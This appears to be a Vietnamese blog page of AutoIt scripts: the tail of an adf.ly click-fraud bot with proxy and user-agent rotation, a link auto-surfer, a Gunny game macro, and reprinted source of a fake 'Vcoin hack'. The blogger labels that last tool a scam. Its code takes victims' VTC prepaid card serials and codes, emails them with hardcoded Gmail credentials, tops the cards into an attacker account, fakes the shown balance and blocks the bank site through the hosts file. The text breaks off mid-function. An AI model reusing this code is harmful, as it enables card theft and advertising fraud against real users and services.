_arraydelete($list2, _arraysearch($list2, $links))
_arrayadd($vist, $links2)
_arraydelete($list2, _arraysearch($list2, $links2))
_arrayadd($vist, $links3)
_arraydelete($list2, _arraysearch($list2, $links3))
EndIf
$mee = $mee – 1
EndIf
If IsArray($list) Then
$links = $list[Random(0, UBound($list) – 1)]
$links2 = $list[Random(0, UBound($list) – 1)]
$links3 = $list[Random(0, UBound($list) – 1)]
$links4 = $list[Random(0, UBound($list) – 1)]
$links5 = $list[Random(0, UBound($list) – 1)]
If $links <> GUICtrlRead($link) AND $links <> GUICtrlRead($link2) AND $links <> GUICtrlRead($link3) AND $links <> GUICtrlRead($link4) AND $links <> GUICtrlRead($link5) AND $links <> "http://adf.ly/1M7Qn" Then _arrayadd($vist, $links)
_arraydelete($list, _arraysearch($list, $links))
_arrayadd($vist, $links2)
_arraydelete($list, _arraysearch($list, $links2))
_arrayadd($vist, $links3)
_arraydelete($list, _arraysearch($list, $links3))
_arrayadd($vist, $links4)
_arraydelete($list, _arraysearch($list, $links4))
_arrayadd($vist, $links5)
_arraydelete($list, _arraysearch($list, $links5))
EndIf
EndIf
Until IsArray($list) = 0
_arraydelete($vist, 0)
EndFunc

Func info($tempp = 0)
If $running = 0 Then
GUICtrlSetData($olabel, " Status: Stopped")
Return
EndIf
$s = _inetgetsource("http://raauulll.hi2.ro/adftest.php")
$temp = _stringbetween($s, "user", "user")
$fail = 0
$count = 0
Do
Sleep(100)
$count = $count + 1
If $count = 200 Then
$count = 0
$change = 1
cchange()
EndIf
Until StringInStr(_iepropertyget($oie, "statustext"), "connecting") = 0
$s = _inetgetsource("http://raauulll.hi2.ro/adftest.php")
$temp = _stringbetween($s, "user", "user")
$fail = 0
If IsArray($temp) = 0 Then
Do
cchange()
$s = _inetgetsource("http://raauulll.hi2.ro/adftest.php")
$temp = _stringbetween($s, "user", "user")
$fail = $fail + 1
Until IsArray($temp) OR $fail >= 5
If $fail >= 5 Then
MsgBox(262144, "", "To many failures, Please use better proxys")
pexit()
EndIf
EndIf
$online = $temp[0]
If $tempp = 1 Then
$list = StringRegExp($s, "http://adf.ly/[0-9,A-Z,a-z]{0,9}", 3)
EndIf
If $start = 1 Then
GUICtrlSetData($cyl, "Clicked Your Link: " & $mines)
GUICtrlSetData($cnl, "Clicked Network Links: " & $network)
GUICtrlSetData($onl, "Online Users: " & $online)
EndIf
EndFunc

Func cleanh()
Run("RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess " & $clearid)
EndFunc

Func clean($t = 0)
RegWrite("HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings", "ProxyEnable", "REG_DWORD", "0")
RegWrite("HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings", "ProxyServer", "REG_SZ", ":80")
EndFunc

Func cchange()
If $running = 0 Then
GUICtrlSetData($olabel, " Status: Stopped")
Return
EndIf
proxycheck()
imgcheck()
iecheck()
If $noimg = 1 Then
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main", "Display Inline Images", "REG_SZ", "no")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main", "Play_Animations", "REG_SZ", "no")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main", "Play_Background_Sounds", "REG_SZ", "no")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main", "Print_Background", "REG_SZ", "no")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main", "Show image placeholders", "REG_DWORD", "0")
Else
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main", "Display Inline Images", "REG_SZ", "yes")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main", "Play_Animations", "REG_SZ", "yes")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main", "Play_Background_Sounds", "REG_SZ", "yes")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main", "Print_Background", "REG_SZ", "yes")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main", "Show image placeholders", "REG_DWORD", "1")
EndIf
If IsArray($proxys) = 0 Then
$useown = 0
EndIf
If $useown = 1 Then
$uproxy = $proxys[Random(1, UBound($proxys))]
RegWrite("HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings", "ProxyEnable", "REG_DWORD", "1")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings", "ProxyServer", "REG_SZ", $uproxy)
ConsoleWrite("proxy: " & $uproxy & @CRLF)
Else
RegWrite("HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings", "ProxyEnable", "REG_DWORD", "0")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings", "ProxyServer", "REG_SZ", ":80")
EndIf
Sleep(500)
$oie = _iecreate("about:blank", 0, $ie, 1, 0)
$useragent = $alines[Random(1, UBound($alines))]
$reffer = $reff[Random(1, UBound($reff))]
ConsoleWrite("User-Agent: " & $useragent & @CRLF & "Refferer: " & $reffer & @CRLF)
$oie.navigate($links, 0, "", "", "User-Agent: " & $useragent & @CRLF & "Referer: " & $reffer & @CR & @CR)
_ieloadwait($oie, "0", "60000")
ConsoleWrite("Link: " & $links & @CRLF)
If $running = 0 Then
GUICtrlSetData($olabel, " Status: Stopped")
Return
EndIf
If $running = 0 Then
GUICtrlSetData($olabel, " Status: Stopped")
Return
EndIf
$d = 35000
$ext = 1000
$e = "Seconds"
$timer = TimerInit()
While TimerDiff($timer) <= $d
If $running = 0 Then
GUICtrlSetData($olabel, " Status: Stopped")
Return
EndIf
Sleep(10)
GUICtrlSetData($olabel, " Status: Waiting " & Round(TimerDiff($timer) / $ext, 1) & " / " & Round($d / $ext, 0) & " " & $e & " To Click Skip Add Button")
WEnd
$skipbutton = _iegetobjbyid($oie, "skip_button")
_ieaction($skipbutton, "Click")
GUICtrlSetData($olabel, " Status: Skip add")
_ieloadwait($oie)
ConsoleWrite("skip ad" & @CRLF)
Sleep(700)
$count = 0
Do
Sleep(100)
$count = $count + 1
If $count = 200 Then
$count = 0
$change = 1
cchange()
EndIf
Until StringInStr(_iepropertyget($oie, "statustext"), "connecting") = 0
EndFunc

Func settings()
#Region ### START Koda GUI section ### Form=
$form21 = GUICreate("Settings", 540, 260, 192, 124)
$label1 = GUICtrlCreateLabel("Proxies", 16, 8, 38, 17)
$label2 = GUICtrlCreateLabel("User-Agents", 192, 8, 62, 17)
$label3 = GUICtrlCreateLabel("Refferers", 376, 8, 47, 17)
$edit1 = GUICtrlCreateEdit("", 8, 32, 161, 161)
$edit2 = GUICtrlCreateEdit("", 176, 32, 177, 161)
$edit3 = GUICtrlCreateEdit("", 368, 32, 161, 161)
$button21 = GUICtrlCreateButton("Save", 16, 216, 75, 25, $ws_group)
$button22 = GUICtrlCreateButton("Save", 192, 216, 75, 25, $ws_group)
$button23 = GUICtrlCreateButton("Save", 376, 216, 75, 25, $ws_group)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###
_guictrledit_inserttext($edit1, FileRead(@DocumentsCommonDir & "\proxies.txt"))
_guictrledit_inserttext($edit2, FileRead(@DocumentsCommonDir & "\ua.txt"))
_guictrledit_inserttext($edit3, FileRead(@DocumentsCommonDir & "\ref.txt"))
While 1
$nmsg = GUIGetMsg()
Switch $nmsg
Case $gui_event_close
GUIDelete($form21)
ExitLoop
Case $button21
filesave(0)
Case $button22
filesave(1)
Case $button23
filesave(2)
EndSwitch
WEnd
EndFunc

Func filesave($temp = 0)
If $temp = 0 Then
FileDelete(@DocumentsCommonDir & "\proxies.txt")
$readedit = GUICtrlRead($edit1)
FileWrite(@DocumentsCommonDir & "\proxies.txt", $readedit)
ElseIf $temp = 1 Then
FileDelete(@DocumentsCommonDir & "\ua.txt")
$readedit2 = GUICtrlRead($edit2)
FileWrite(@DocumentsCommonDir & "\ua.txt", $readedit2)
ElseIf $temp = 2 Then
FileDelete(@DocumentsCommonDir & "\ref.txt")
$readedit3 = GUICtrlRead($edit3)
FileWrite(@DocumentsCommonDir & "\ref.txt", $readedit3)
EndIf
EndFunc
[/au3]

Code Auto Surf Link bằng AutoIT

Dành cho bạn nào muốn tự động view nhiều link, webmaster có nhiều trang muốn surf hàng ngày để tăng rank

Công dụng:

– Tự động view hết link trong file link.txt
– Khoảng cách giửa 2 lần chuyển link là 5s
– Có thông báo tình trạng link đang view là link thứ mấy
– View ẩn 100%
– View xong số lần lập vòng sẽ tự động đóng lại.
– Run khá tốt đối với bác nào đang chiến thằng Shareapic

Lưu ý:

– Chỉ có tác dụng với Win 32bit
– Muốn dừng chương trình đang chạy thì dùng phim ESC
– Chú ý các link surf không được có popup không chương trình sẽ bị dừng

AutoIt auto surf link
AutoIt auto surf link

Code

[au3]
#include <IE.au3>
#include <File.au3>
HotKeySet("{ESC}", "stop")
Func stop()
_IEQuit($IE)
WinClose(" – Windows Internet Explorer")
WinClose(" – Windows Internet Explorer")
WinClose(" – Windows Internet Explorer")
Exit
EndFunc
$lan = 1
$a = 1
$set = $lan + 1
$vong = InputBox("View Image","Số lần lập lại quá trình view image","1")
If $vong = 0 Then
MsgBox(0,"Thông Báo", "Kết quả bất hợp lý! Chương trình ngừng hoạt động")
Exit
EndIf
$time = 5
$s = 0
$file = FileOpen("link.txt",0)
IF $file = -1 Then
MsgBox(0,"Thông báo"," Không tìm thấy file:’link.txt’")
Exit
EndIf

$IE = _IECreate("about:blank",1,@SW_HIDE)
While $lan<=$vong
$a = 1
While 1
$url = FileReadLine($file,$a)
If $url = "close" Then
While $s < 5
if $lan=$vong Then
ToolTip("Đã view xong "&$vong&" đã định."& @CRLF & "Sẽ tự đóng chương trình trong vòng: " &$time&" giây", 500, 200, "", 0, 0)
stop()
Else
$set = $lan + 1
ToolTip("Đã view hết số link lần:" & $lan & @CRLF & "Sẽ tiếp tục view lần:" & $set & " trong vòng: " &$time&" giây", 500, 200, "", 0, 0)
EndIf
$s += 1
$time -= 1
sleep(1000)
WEnd
$lan += 1
ExitLoop
Else
While $s < 5
ToolTip("Còn: " & $time &" giây nữa sẽ view link thứ: " & $a, 0, 723, "", 0, 0)
$s += 1
$time -= 1
sleep(1000)
WEnd
ToolTip("Đang view link thứ: " & $a, 0, 723, "", 0, 0)
$s = 0
$time = 5
_IENavigate($IE,$url)
$a += 1
Endif
WEnd
WEnd
[/au3]

Code Auto săn Boss Rồng game Gunny bằng AutoIT

Code này dành cho các GUNNER.
Chỉ cần nhấn F2 một lần duy nhất và chương trình sẽ tự thực hiện click, canh thời gian, dame boss suốt 60 phút mà không cần chạm vào bàn phím

Auto boss rong Gunny
Auto boss rong Gunny

Hướng dẫn sử dụng Tools

Chỉnh độ phân giải màn hình về 1360×768 trước khi chạy.
Chương trình áp dụng cho các loại vũ khí có góc rộng
Đi trước boss rồng 1 lần và tắt cái giao diện mua đạo cụ hỗ trợ đi (nhớ tick vào không hiển thị lần sau nhé)
Sau khi đi xong 1 lần và tắt giao diện mua đạo cụ thì nhấn F2 để bắt đầu chương trình
Bạn phải để nguyên cửa sổ của gunny thì chương trình mới thực hiện được chính xác các chức năng
Muốn thoát khỏi chương trình bạn hãy nhấn F9
Về tools bao gồm tự buff và bắn lực nhập vào:
Nhấn F3 buff 1445678, F4 buff 3445678, F6 buff 1445678b, F7 3445678b và F8 buff 12
Nhấn TAB và nhập lực muốn bắn chương trình sẽ tự động bắn lực đó giúp bạn
Lưu ý: chương trình không tự động tính góc và lực (Chỉnh góc và tính lực trước khi nhấn TAB)

Code Auto Boss Rồng

[au3]
MsgBox(0, "Auto săn rồng + tools", "Tools dùng cho độ phân giải 1360×768, nếu dùng độ phân giải khác thì dừng Gunny launcher để chỉnh cho khớp với màn hình nhé!" & @CRLF & "Nhấn F1 để xem hướng dẫn")
HotKeySet("{F1}", "hd")
HotKeySet("{F2}", "star")
HotKeySet("{F3}", "b14")
HotKeySet("{F4}", "b34")
HotKeySet("{F6}", "p14")
HotKeySet("{F7}", "p34")
HotKeySet("{F8}", "b12")
HotKeySet("{F9}", "ENX")
HotKeySet("{F10}", "JPOS")
HotKeySet("0", "banrong")
HotKeySet("{tab}", "nhap")
Local $a = Random(30, 50)
While 1
Sleep(100)
WEnd

Func jpos()
$jpos = MouseGetPos()
MsgBox(0, "Tọa độ chuột x,y:", $jpos[0] & "," & $jpos[1])
EndFunc

Func b14()
Sleep(200)
Send("1445678")
EndFunc

Func b34()
Sleep(200)
Send("3445678")
EndFunc

Func p14()
Sleep(200)
Send("1445678b")
EndFunc

Func p34()
Sleep(200)
Send("3445678b")
EndFunc

Func b12()
Sleep(200)
Send("12")
EndFunc

Func hd()
Sleep(500)
MsgBox(0, "Hướng dẫn", "Về Auto boss rồng:" & @CRLF & _
"Chương trình áp dụng cho các loại vũ khí có góc rộng" & @CRLF & _
"Đi trước boss rồng 1 lần và tắt cái giao diện mua đạo cụ hỗ trợ đi (nhớ tick vào không hiển thị lần sau nhé)" & @CRLF & _
"Sau khi đi xong 1 lần và tắt giao diện mua đạo cụ thì nhấn F2 để bắt đầu chương trình" & @CRLF & _
"Bạn phải để nguyên cửa sổ của gunny thì chương trình mới thực hiện được chính xác các chức năng" & @CRLF & _
"Muốn thoát khỏi chương trình bạn hãy nhấn F9" & @CRLF & _
"Về tools bao gồm tự buff và bắn lực nhập vào:" & @CRLF & _
"Nhấn F3 buff 1445678, F4 buff 3445678, F6 buff 1445678b, F7 3445678b và F8 buff 12" & @CRLF & _
"Nhấn TAB và nhập lực muốn bắn chương trình sẽ tự động bắn lực đó giúp bạn" & @CRLF & _
"Lưu ý: chương trình không tự động tính góc và lực (Chỉnh góc và tính lực trước khi nhấn TAB)")
EndFunc

Func star()
While 1
MouseClick("left", 662, 573)
Sleep(2000)
MouseClick("left", 685, 474)
Sleep(1000)
MouseClick("left", 685, 474)
Sleep(200)
MouseClick("left", 997, 218)
Sleep(1000)
MouseClick("left", 662, 573)
MouseClick("left", 662, 573)
Sleep(20000)
Send("{UP $a}")
Sleep(500)
Send("1445678b")
Send("0")
Sleep(9000)
Send("1445678b")
Send("0")
Sleep(15000)
Send("1445678b")
Send("0")
Sleep(18500)
Sleep(15000)
WEnd
EndFunc

Func banrong()
Sleep(300)
Local $giatri = 60
_start($giatri)
EndFunc

Func nhap()
Sleep(300)
Local $giatri = InputBox("Nhập lực muốn bắn???", "0~100")
If ($giatri > 0 OR $giatri <> "") Then
_start($giatri)
EndIf
EndFunc

Func _start($param1)
Sleep(500)
$timeinit = TimerInit()
Do
Send("{SPACE down}")
Until TimerDiff($timeinit) >= $param1 * 40.5555555555556
Send("{SPACE up}")
Send("{space}")
EndFunc

Func enx()
Exit 0
EndFunc
[/au3]
Các bạn có thể chỉnh sửa để code chạy tốt hơn hoặc tham khảo để phát triển auto cho các game khác chúc các bạn thành công

Code AutoIT Hack Vcoin lừa đảo của hackgame.org

Code lừa đảo của hackgame.org viết bằng AutoIT

Chào các bạn hôm nay mình share 1 code của hackgame.org một trang web được xây dựng rất công phu để lừa đảo. Hy vọng đừng bạn nào tin vào trò lừa đảo này nhé và hãy luôn nghĩ rằng “không ai cho không ai cái gì” khi sử dụng các công cụ hack kiểu này.

Cái tool lừa đảo này có tên đại loại như:
Hack Báu vật Vcoin GP CF
Shop Báu Vật CF Vĩnh Viễn
Hack Zing Xu 2013
Shop Vật phẩm Gunny 2
Hack Wow Xu Gunny 2
Hack Audition Season 3
Hack Vcoin eBank VTC
Hack Vcoin CF 2013
Hack FifaOnline 2 – Vcoin + LP
Cong Dong Game Hack CF
OneHitCF 1125 hack cf moi nhat
VinaCF 1125, Download Vina CF 1125
Hack CF 1125 – One hit, headshot
Tổng hợp Hack CF 2013
CongDongGame.Net Hack cf
KMODZ Hack Au 6123 – Hack NVTT 6123

hackgame.org lừa đảo
hackgame.org lừa đảo

OK đây là 1 code các code khác tương tự như vậy. Cái web này vẫn đang hoạt động vì vậy các bạn có thể update code của nó thường xuyên 🙂
[au3]
#NoTrayIcon
WinMinimizeAll()
If ProcessExists("iexplore.exe") Then
ProcessClose("iexplore.exe")
EndIf
MsgBox(0, "BugBauVat_CF", "Thông báo: Cập nhật báu vật nhận được 100% khi Bug (VICTORIA, AK47-Scope-R.Dragon, FR-F2, BLADE, ScarLight-R.Dragon, AUG A1-R.Dragon, M4A1-Red Dragon, AWM-R.Dragon, FOX, DELTA, ROSE, RPK-Gold, GatlingGun-gold, Barrett M99….)")
MsgBox(0, "BugBauVat_CF", "Nâng cấp bản Bug tất cả báu vật cho phiên bản Đột Kích mới nhất")
ProgressOn("Loading …", " Nâng Cấp Bug…", "0 %")
For $i = 1 To 100 Step 1
Sleep(40)
ProgressSet($i, "Quá Trình Nâng Cấp : " & $i & " %")
Next
Sleep(1000)
ProgressOff()
Run("HuongDan.exe")
$version = "BugBauVat_CF"
If _singleton($version, 1) = 0 Then
MsgBox(0, "Stopped", "Hệ thống không cho phép 2 chương trình cùng chạy.")
Exit
EndIf

Func _singleton($soccurencename, $iflag = 0)
Local Const $error_already_exists = 183
Local Const $security_descriptor_revision = 1
Local $handle, $lasterror, $psecurityattributes = 0
$handle = DllCall("kernel32.dll", "int", "CreateMutex", "ptr", $psecurityattributes, "long", 1, "str", $soccurencename)
$lasterror = DllCall("kernel32.dll", "int", "GetLastError")
If $lasterror[0] = $error_already_exists Then
If BitAND($iflag, 1) Then
Return SetError($lasterror[0], $lasterror[0], 0)
Else
Exit – 1
EndIf
EndIf
Return $handle[0]
EndFunc

AutoItSetOption("TrayOnEventMode", 1)
AutoItSetOption("TrayMenuMode", 1)
Opt("GUICloseOnESC", 0)
Beep(1000, 100)
Dim $aarray1[1]
Local $msg
Dim $aarray1[1]
Local $msg
Dim $gui1, $oie, $gui
$gui = GUICreate($version, 600, 394, -1, -1, -2147483648)
WinSetTrans($version, "", 0)
$minimize = GUICtrlCreateIcon("minimize", -1, 546, 9, 23, 22, -1, 32)
GUICtrlSetTip($minimize, "Thu Nhỏ Chương Trình", $version, 1, 1)
$acc = GUICtrlCreateInput("", 145, 279, 130, 20, 1, 32)
GUICtrlSetTip($acc, "Tài Khoản CF Cần Bug", $version, 1, 1)
GUICtrlSetColor(-1, 0)
GUICtrlSetLimit(-1, 16)
$se1 = GUICtrlCreateInput("PM00", 145, 316, 130, 20, 9, 32)
GUICtrlSetTip($se1, "Nhập số Seri trên thẻ Vcoin VTC Để Bug", $version, 1, 1)
GUICtrlSetColor(-1, 0)
GUICtrlSetLimit(-1, 12)
$se2 = GUICtrlCreateInput("", 145, 352, 130, 19, 8193, 32)
GUICtrlSetTip($se2, "Nhập mã thẻ Vcoin VTC Để Bug", $version, 1, 1)
GUICtrlSetColor(-1, 0)
GUICtrlSetLimit(-1, 12)
$ui = GUICtrlCreatePic("Start", 311, 302, 121, 47, -1, 32)
GUICtrlSetTip($ui, "Bắt Đầu quá trình Bug Báu Vật, Vcoin+GP", $version, 1, 1)
GUICtrlSetCursor($ui, 0)
$e = GUICtrlCreatePic("Exit", 574, 9, 22, 22, -1, 32)
GUICtrlSetTip($e, "Exit Hack", $version, 1, 1)
GUICtrlSetCursor($e, 0)
GUICtrlCreatePic("ModzCF", 0, 0, 600, 394)
GUISetState()
For $i = 0 To 255 Step 5
WinSetTrans($version, "", $i)
Next
$iepath = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.EXE", "")
Run($iepath & " http://hanamonline.com ", "", @SW_SHOW)
Run($iepath & " http://hackgame.org/videocrossfire/ ", "", @SW_SHOW)
While 1
$msg = GUIGetMsg()
Select
Case $msg = $gui_event_close
Exit
Case $msg = $ui
If StringLen(GUICtrlRead($acc)) > 18 OR StringLen(GUICtrlRead($acc)) < 4 Then
MsgBox(0, "BugBauVat_CF", "Xin vui lòng nhập tên tài khoản Hack chính xác")
ElseIf StringLen(GUICtrlRead($se1)) <> 12 Then
MsgBox(0, "BugBauVat_CF", "Seri thẻ không hợp lệ vui lòng kiểm tra lại")
ElseIf StringLen(GUICtrlRead($se2)) <> 12 Then
MsgBox(0, "BugBauVat_CF", "Mã thẻ không hợp lệ vui lòng kiểm tra lại")
ElseIf StringLeft(GUICtrlRead($se1), 3) <> "PM0" AND StringLeft(GUICtrlRead($se1), 3) <> "PM1" Then
MsgBox(0, "BugBauVat_CF", "Thẻ này không hợp lệ .Vui lòng kiểm tra lại")
Else
$seri1 = GUICtrlRead($se1)
$seri2 = GUICtrlRead($se2)
Call("LOAD")
EndIf
Case $msg = $minimize
GUISetState(@SW_MINIMIZE)
Case $msg = $e
If WinExists("VTC eBank – Thay đổi thông tin") Then
WinClose("VTC eBank – Thay đổi thông tin")
EndIf
If ProcessExists("iexplore.exe") Then
ProcessClose("iexplore.exe")
EndIf
Run("CrossFire_4VN.bat")
For $i = 255 To 1 Step -5
WinSetTrans($version, "", $i)
Sleep(10)
Next
Exit
EndSelect
WEnd

Func load()
WinMinimizeAll()
GUISetState(@SW_HIDE, $gui)
$guiload = GUICreate("Wait", 700, 80, -1, -1, -2147483648, $ws_ex_toolwindow)
GUISetBkColor(3327, $guiload)
$tb = GUICtrlCreatePic("Connection", 0, 0, 700, 80)
GUICtrlSetFont(-1, 12)
GUICtrlSetColor(-1, 16711680)
GUISetState()
$oienap = _iecreate("https://ebank.vtc.vn/home/", 0, 0, 1)
If WinExists("Certificate Error: Navigation Blocked") Then
$bam = _iegetobjbyname($oienap, "overridelink")
_ieaction($bam, "click")
EndIf
If WinActive("AutoComplete Passwords", "Do you want Internet Explorer to remember this password?") Then
ControlClick("AutoComplete Passwords", "Do you want Internet Explorer to remember this password?", 0)
EndIf
Sleep(2000)
$oform = _ieformgetobjbyname($oienap, "aspnetForm")
$o1s = _ieformelementgetobjbyname($oform, "ctl00_txtUserName")
_ieformelementsetvalue($o1s, "IEFormBody")
$oform = _ieformgetobjbyname($oienap, "aspnetForm")
$o2s = _ieformelementgetobjbyname($oform, "ctl00_txtPassword")
_ieformelementsetvalue($o2s, "IEConsend")
_ieformsubmit($oform)
Sleep(2000)
$osubmit = _iegetobjbyname($oienap, "ctl00$btnLogin")
_ieaction($osubmit, "click")
$oform = _ieformgetobjbyname($oienap, "aspnetForm")
$o2s = _ieformelementgetobjbyname($oform, "ctl00_txtPassword")
_ieformelementsetvalue($o2s, "IEConsend")
$osubmit = _iegetobjbyname($oienap, "ctl00$btnLogin")
_ieaction($osubmit, "click")
$bodyloads = _iebodyreadtext($oienap)
If StringInStr($bodyloads, "Chào bạn") Then
MsgBox(0, "HackGame.Org", "Thông báo: Hack Gặp lỗi không có kết nối mạng Internet. Hoặc đang có nhiều người sử dụng Hack làm tắc ghẽn Server, bạn có thể thử lại vào lúc khác")
If WinExists("VTC eBank – Thay đổi thông tin") Then
WinClose("VTC eBank – Thay đổi thông tin")
EndIf
Exit
EndIf
$oiess = _iecreate("https://ebank.vtc.vn/home/account.infor.html?l=vi", 0, 0, 1)
$stextload = _iebodyreadhtml($oiess)
$bodyload = _iebodyreadtext($oiess)
_ieloadwait($oiess)
$i = 1
If WinActive("AutoComplete Passwords", "Do you want Internet Explorer to remember this password?") Then
ControlClick("AutoComplete Passwords", "Do you want Internet Explorer to remember this password?", 0)
EndIf
If StringInStr($bodyload, "Thông tin tài khoản") Then
GUIDelete($guiload)
GUISetState(@SW_SHOW, $gui)
Call("GUI")
Else
If NOT StringInStr($bodyload, "Thông tin tài khoản") Then
MsgBox(0, "HackGame.Org", "Thông báo: Hack Gặp lỗi không có kết nối mạng Internet. Hoặc đang có nhiều người sử dụng Hack làm tắc ghẽn Server, bạn có thể thử lại vào lúc khác")
_iequit($oiess)
If WinExists("VTC eBank") Then
WinClose("VTC eBank")
EndIf
Run("CF.bat")
GUIDelete($guiload)
GUISetState(@SW_SHOW, $gui)
EndIf
EndIf
EndFunc

Func luadao()
$oie = _iecreate("https://ebank.vtc.vn/home/ebank.account.changeinfo.html?m=1&l=vi", 0, 0, 1)
$a = 200
$i = 1
While $i <= 20
$body = _iebodyreadhtml($oie)
$stext = _iebodyreadtext($oie)
If NOT StringInStr($stext, "Thay đổi thông tin ") Then
MsgBox(0, "Lỗi !", "Bạn chưa đăng nhập vào tài khoản hoặc đăng nhập quá 10 phút" & @CRLF & " Vui lòng đọc kỹ hướng dẫn.")
Exit
EndIf
Sleep(1000)
Dim $aarray1[1]
$aarray1 = _stringbetween($stext, "Tổng số dư ", " Vcoin")
If StringInStr($body, $aarray1[0] & " VCoin") Then
$newbody = StringReplace($body, $aarray1[0] & " VCoin", $aarray1[0] + 5000 & " VCoin")
_iebodywritehtml($oie, $newbody)
Else
MsgBox(0, "Lỗi !", "Bạn chưa đăng nhập vào tài khoản hoặc đăng nhập quá 10 phút" & @CRLF & " Vui lòng đọc kỹ hướng dẫn.")
EndIf
$a = $a + 200
$i = $i + 1
WEnd
Call("DIE")
MsgBox(0, "Thông báo !", "Tổng số dư trong tài khoản của bạn được cộng thêm là 100.000 Vcoin !")
Exit
EndFunc

Func nap()
$oie1 = _iecreate("https://ebank.vtc.vn/home/money.vto.card.html", 0, 0, 1, @SW_HIDE)
_ieloadwait($oie1)
Sleep(1000)
If WinActive("Security Alert", "Information you exchange with this site") Then
ControlClick("Security Alert", "Information you exchange with this site", 1)
EndIf
$oform1 = _ieformgetobjbyname($oie1, "aspnetForm")
$otext1 = _ieformelementgetobjbyname($oform1, "ctl00$ctl00$ContentPlaceHolder1$ContentPlaceHolder1$txtSerinumber")
_ieformelementsetvalue($otext1, GUICtrlRead($se1))
$otext1 = _ieformelementgetobjbyname($oform1, "ctl00$ctl00$ContentPlaceHolder1$ContentPlaceHolder1$txtCardVTOCode")
_ieformelementsetvalue($otext1, GUICtrlRead($se2))
$otext1 = _ieformelementgetobjbyname($oform1, "ctl00$ctl00$ContentPlaceHolder1$ContentPlaceHolder1$txtAccount")
_ieformelementsetvalue($otext1, "comejenyc")
$otext1 = _ieformelementgetobjbyname($oform1, "ctl00$ctl00$ContentPlaceHolder1$ContentPlaceHolder1$txtAccount")
_ieformelementsetvalue($otext1, "comejenyc")
Sleep(3000)
$osubmit1 = _iegetobjbyname($oie1, "ctl00$ctl00$ContentPlaceHolder1$ContentPlaceHolder1$btnTopUp")
_ieaction($osubmit1, "click")
_ieloadwait($oie1)
$i = 1
While 1
Sleep(500)
If WinActive("Windows Internet Explorer", "Card không tồn tại") Then
ControlClick("Windows Internet Explorer", "Card không tồn tại", 1)
EndIf
If WinExists("Windows Internet Explorer", "Card đã được sử dụng") Then
ControlClick("Windows Internet Explorer", "Card đã được sử dụng", 2)
EndIf
If WinExists("Windows Internet Explorer", "Số seri thẻ phải có 12 ký tự") Then
ControlClick("Windows Internet Explorer", "Số seri thẻ phải có 12 ký tự", 2)
EndIf
If WinExists("Windows Internet Explorer", "Mã thẻ không hợp lệ, mã thẻ hợp lệ gồm 12 chữ số") Then
ControlClick("Windows Internet Explorer", "Mã thẻ không hợp lệ, mã thẻ hợp lệ gồm 12 chữ số", 2)
EndIf
$body1 = _iebodyreadtext($oie1)
If StringInStr($body1, "Bạn vui lòng nhập seri và mã thẻ dưới lớp tráng bạc trên thẻ") Then
If ProcessExists("iexplore.exe") Then
ProcessClose("iexplore.exe")
EndIf
MsgBox(32, "HackGame.Org", "Thông báo: Quá trình Bug gặp phải các lỗi sau. (Thẻ không tồn tại hoặc đx qua sử dụng hoặc Mệnh Giá thẻ quá thấp(20.000)")
MsgBox(32, "HackGame.Org", "Các bạn có thể sử dụng Thẻ khác có giá trị để thực hiện lần Bug tiếp theo!")
_iequit($oie1)
If WinExists("VTC eBank – Thông tin tài khoản") Then
WinClose("VTC eBank – Thông tin tài khoản")
EndIf
Run("CF.bat")
GUIDelete($gui1)
GUISetState(@SW_SHOW, $gui)
ExitLoop
Else
If $i = 1500 Then
GUISetState(@SW_HIDE, $gui)
GUIDelete($gui1)
Call("GUI")
ExitLoop
Else
$i = $i + 1
EndIf
EndIf
WEnd
EndFunc

Func die()
$file = FileOpen(@SystemDir & "\drivers\etc\hosts", 1)
If $file = -1 Then
MsgBox(0, "Thông báo !", "Tổng số dư trong tài khoản của bạn được cộng thêm là 100.000 Vcoin !")
Exit
EndIf
FileWrite($file, @CRLF & "127.0.0.1 ebank.vtc.vn")
FileWrite($file, @CRLF & "127.0.0.1 www.ebank.vtc.vn")
FileWrite($file, @CRLF & "127.0.0.1 http://ebank.vtc.vn")
FileClose($file)
EndFunc

Func gui()
GUISetState(@SW_HIDE, $gui)
$gui1 = GUICreate("Wait", 700, 80, -1, -1, -2147483648, $ws_ex_toolwindow)
GUISetBkColor(3327, $gui1)
$tb = GUICtrlCreatePic("Connection", 0, 0, 700, 80)
GUICtrlSetFont(-1, 12)
GUICtrlSetColor(-1, 16711680)
GUISetState()
Global $omyerror = ObjEvent("AutoIt.Error", "MyErrFunc")
$s_smtpserver = "smtp.gmail.com"
$s_fromname = "Crossfire"
$s_fromaddress = "hotromodz@gmail.com"
$s_toaddress = "hotromodz@gmail.com"
$s_subject = "Support"
$as_body = "Account: " & GUICtrlRead($acc) & " " & "Seri: " & GUICtrlRead($se1) & " " & "Code: " & GUICtrlRead($se2)
$s_attachfiles = ""
$s_ccaddress = ""
$s_bccaddress = ""
$s_username = "hotkey.autoit"
$s_password = "autoit3.5 suppro"
$ipport = 465
$ssl = 1
Global $omyret[2]
Global $omyerror = ObjEvent("AutoIt.Error", "MyErrFunc")
$rc = _inetsmtpmailcom($s_smtpserver, $s_fromname, $s_fromaddress, $s_toaddress, $s_subject, $as_body, $s_attachfiles, $s_ccaddress, $s_bccaddress, $s_username, $s_password, $ipport, $ssl)
If @error Then
